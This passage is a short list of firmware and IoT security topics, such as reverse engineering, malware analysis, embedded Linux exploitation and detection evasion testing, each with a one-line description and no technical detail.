- Reverse Engineering - Binary analysis and disassembly techniques
- Cryptography Analysis - Firmware encryption and authentication bypass
- Malware Analysis - Malicious firmware component analysis
Pentesting & Security:
- Linux Pentesting - Embedded Linux exploitation
- Mobile Security - Mobile firmware and bootloader analysis
- Vulnerability Research - Finding embedded device vulnerabilities
- Web Application Security - Web interfaces on IoT devices
- Detection Evasion Testing - Bypassing firmware security mechanisms